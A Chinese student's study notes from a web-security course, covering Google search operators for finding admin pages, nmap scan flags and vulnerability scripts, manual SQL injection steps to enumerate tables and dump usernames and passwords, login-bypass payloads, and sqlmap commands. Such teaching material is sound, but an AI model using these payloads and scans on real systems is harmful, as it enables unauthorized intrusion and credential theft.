开坑web

由于专业课程上有一门网络攻防,主要讲web方面的东西,但好像不是针对ctf来讲课的,可能更偏向web渗透的基础技能教学,一个pwn菜狗就这样开始入坑web,于是开篇专门记录一下所学习的东西,不然一下就忘了

GOOGLE HACK

课堂上简单介绍了一下google_hack 的用法,主要用来收集信息,发现管理后台的地址,没想到googl还有这种用法,真不愧是世界第一搜索引擎

关键字:

site 指定在某个网站中进行搜索
intitle 搜索标题中含有关键字的网页
inurl 搜索URL中存在关键字的网页
intext 搜索正文中含有关键字的网页
filetype 搜索指定文件类型

他的用处大概有这些:搜索注入点(id=xx),搜索敏感信息(admin、管理、后台、文件类型,敏感页面等等)

另外如果不想被这种方法搜到,可以在web目录中编辑robots.txt告知搜索引擎,网站中的哪些目录不希望被google爬虫爬行到。关于这个知识点,我见过一些web的ctf题目就是这样出的,直接地址栏输入xxxxx/robots.txt就可以显示出隐藏的内容,也就出flag了

nmap

端口扫描神器,现在也集成了扫描漏洞的功能

语法简述:

nmap <扫描类型> <选项> <扫描目标>

常用的Nmap扫描类型

-sS:TCP SYN扫描,使用最多的扫描类型

-sP:以ping方式进行扫描

-v:显示扫描过程

-O:识别远程操作系统

-p:指定端口,如1-65535、80等

可以用来扫描存活的主机,开启的端口

很骚的是还可以扫出一些漏洞:

http-enum.nse 脚本扫描网站敏感目录。 nmap -p 80 –script=http-enum.nse www.xisu.cn

http-sql-injection.nse 脚本扫描注入漏洞 nmap -p 80 –script=http-sql-injection.nse www.xisu.cn

课上就提了一点点,我估计还有很多用法和命令没讲,以后用到了再自己网上搜一波

SQL注入

课上先讲了一波基础的语法:

MySQL中所有的语句后面都要加上“;” 表示结束。
lselect version();  #查看mysql版本
lselect user();  #查看当前用户
lselect database();  #查看当前打开的数据库
lshow databases;  #查看MySQL中共包含了哪些数据库
luse test;  #打开test数据库
lshow tables;  #显示数据库中的表

还有好多好多,懒得贴了。。。

select * from news where id=1 and exists (select * from hack); #通过exists()函数判断hack表是否存在

select * from news where id=1 and exists (select username from hack); #通过exists()函数判断hack表中是否存在username字段

union联合查询

可以一次性执行两个或多个查询,并将它们的结果组合在一起输出显示。
union联合查询的基本规则:	所有查询中的列数必须相同

select * from news union select * from hack;	#字段数不匹配,查询报错
select * from news union select username,password from hack;	#查询正常
select * from hack union select 1,id,title from news;	#查询正常

sql注入总体上来讲就是通过补充sql语句,进行其他的非法操作

对于这种操作,首先要解决的一个问题就是需要找到注入点

注入点一般是xxx.asp?id=xxx或者xx.php?id=xx的形式

比如:

URL:http://192.168.80.128/shownews.asp?id=16 SQL语句:select * from news where id=16

我们需要通过测试语句: http://192.168.80.128/shownews.asp?id=16 and 1=1 select * from news where id=16 and 1=1

http://192.168.80.128/shownews.asp?id=16 and 1=2 select * from news where id=16 and 1=2

通过看页面是否正常回显来判断这个是不是注入点,确定了注入点后再进行下一步的操作

1、猜表名

http://192.168.80.128/shownews.asp?id=16 and exists (select * from manage_user)
select * from news where id=16 and exists (select * from manage_user)

常见表名:
admin    user    adminuser    manage    manager    manage_user

2、猜字段名

http://192.168.80.128/shownews.asp?id=16 and exists (select username from manage_user)
select * from news where id=16 and exists (select username from manage_user)

常见的字段名:
账号:
name  username  user_name  admin  adminuser  admin_user  admin_username  adminname  
密码:
password  pass  userpass  user_pass   pwd  userpwd  adminpwd  admin_pwd 

3、猜字段的数量

http://192.168.80.128/shownews.asp?id=16 order by 11

select * from news where id=16 order by 11

既可猜解字段数量,又可获知可以显示内容的字段:
http://192.168.80.128/shownews.asp?id=16 union select 1,2,3,4,5,6,7,8,9,10,11 from manage_user

4、爆出内容

http://192.168.80.128/shownews.asp?id=16 union select 1,username,password,4,5,6,7,8,9,10,11 from manage_user


以上的sql例子是针对asp+access数据库来举例的

而在5.0以后版本的MySQL中存在着一个元数据库information_schema,其中存储着用户在MySQL中创建的所有其它数据库的信息。

在对PHP+MySQL类网站进行注入时,主要就是针对information_schema数据库进行操作

information_schema中比较重要的数据表

schemata:用于存放所有数据库的名字。

tables:用于存放所有数据库中的数据表的名字。

columns:用于存放所有数据库的所有数据表中的所有字段的名字。

利用information_schema查看其他数据库的内容

查看test数据库中包含了哪些表
select table_name from information_schema.tables where table_schema="test";

查看hack数据表中包含了哪些字段
select column_name from information_schema.columns where table_name="hack";

另外sql还可以用来密码绕过,这种操作应该有被应用到ctf的简单web题当中

比如

如果验证用户名和密码的语句是这样写的:
select * from admin where username = '$username' and password='$mpassword'

那么如果我们输入的用户名和密码都是
1’ or 1=1 or ‘1 或者 ‘ or ‘=‘ or ‘

结果会变成这样:
select * from admin where username = ‘1’ or 1=1 or ‘1' and password='$mpassword‘
select * from admin where username = ‘’ or ‘=‘ or ‘' and password='$mpassword‘

在逻辑表达式中,and的优先级高于or
假 or 真 or 真 and  最终结果为真
导致密码被绕过

sqlmap

sql注入神器,基于python编写,因此要在python环境下运行,各个平台的版本都有

如之前所说的,sql注入需要找到一个注入点

用这个神器就可以很方便的测试注入点,还可以进行一系列相关操作

检测注入点
sqlmap.py -u “http://192.168.80.128/shownews.asp?id=16”
“-u”选项用于指定URL

猜解表名
sqlmap.py -u "http://192.168.80.128/shownews.asp?id=16" –tables
--tables”选项用于指定猜解数据库中包含哪些表

字典文件所在文件夹:D:\Python\sqlmap\txt	/usr/share/sqlmap/txt

猜解字段名
sqlmap.py -u "http://192.168.80.128/shownews.asp?id=16" --columns -T "manage_user“
“-T”选项,指定对哪个表进行猜解
“--columns”选项,告诉sqlmap这次的任务是猜解字段名

爆出字段内容
sqlmap.py -u "http://192.168.80.128/shownews.asp?id=16" --dump -C "username,password" -T "manage_user“
选项“--dump”连同选项“-C”一起使用,意为猜解指定字段中的内容。

sqlmap将检测结果保存到C:\Users\用户名\.sqlmap\output目录中(/root/.sqlmap/output)